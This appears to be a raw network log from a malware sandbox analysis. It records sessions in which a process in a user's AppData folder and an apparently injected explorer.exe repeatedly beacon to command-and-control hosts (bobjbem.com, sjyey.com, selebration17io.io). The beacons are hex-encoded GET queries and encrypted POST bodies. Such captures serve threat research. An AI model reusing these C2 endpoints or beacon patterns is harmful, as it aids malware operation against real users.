144	192.168.2.4	49932	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:48.061577082 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:48.305177927 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49933	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:48.769465923 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:49.007734060 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49934	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:49.357054949 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:49.603024006 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49935	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:49.993057013 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:50.237051010 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49937	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:50.592155933 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:50.830070019 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49943	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:51.181037903 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:51.428628922 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49944	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:51.703840017 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eqfemmrmcexgnjy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 246 Host: sjyey.com
Feb 5, 2024 10:59:51.703866005 CET	246	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 3b 59 e7 e7 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vu;Y.wQ{UjST0,SoR:\|)]A4W2*D/B wI5sGLD@\&Db9d,Dq'#i,~-0
Feb 5, 2024 10:59:52.274116993 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:59:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49945	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:51.848448992 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:52.086760044 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49946	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:52.434035063 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:52.680247068 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49947	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:53.036612034 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:53.280545950 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49948	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:53.644438982 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:53.882709980 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49949	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:53.980720043 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rxoblwystqquxfv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: selebration17io.io
Feb 5, 2024 10:59:53.980776072 CET	333	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 87 d2 37 e2 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO7wt=Jcns'&3%;ar00,>:XB}$4v (r\N10x}mpn.0ku//Ny7~IH0%Swf?g[N
Feb 5, 2024 10:59:54.233994961 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49950	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:54.271987915 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:54.516737938 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49951	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:54.868398905 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:55.106352091 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49952	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:55.473685026 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:55.716459036 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49953	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:56.100797892 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:56.343715906 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49955	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:56.705817938 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:56.944027901 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49956	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:57.336591005 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:57.579500914 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49957	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:57.938846111 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:58.181864023 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49958	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:58.524771929 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:58.762713909 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49959	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:59.137780905 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:59.380641937 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49960	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:59.725811005 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:59.964010954 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49961	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:00.305535078 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:00.549834967 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49962	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:00.887466908 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:01.130177021 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49963	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:00.972866058 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nkmhrfcjvlrkesff.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 289 Host: sjyey.com
Feb 5, 2024 11:00:00.972923040 CET	289	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 61 46 fe f5 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vuaF.~A#f6en05j!FZ($P<Q*Lb:T.'3DM2T^{uXF, 5'!Y{w\|y=E>]
Feb 5, 2024 11:00:01.532552004 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:00:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

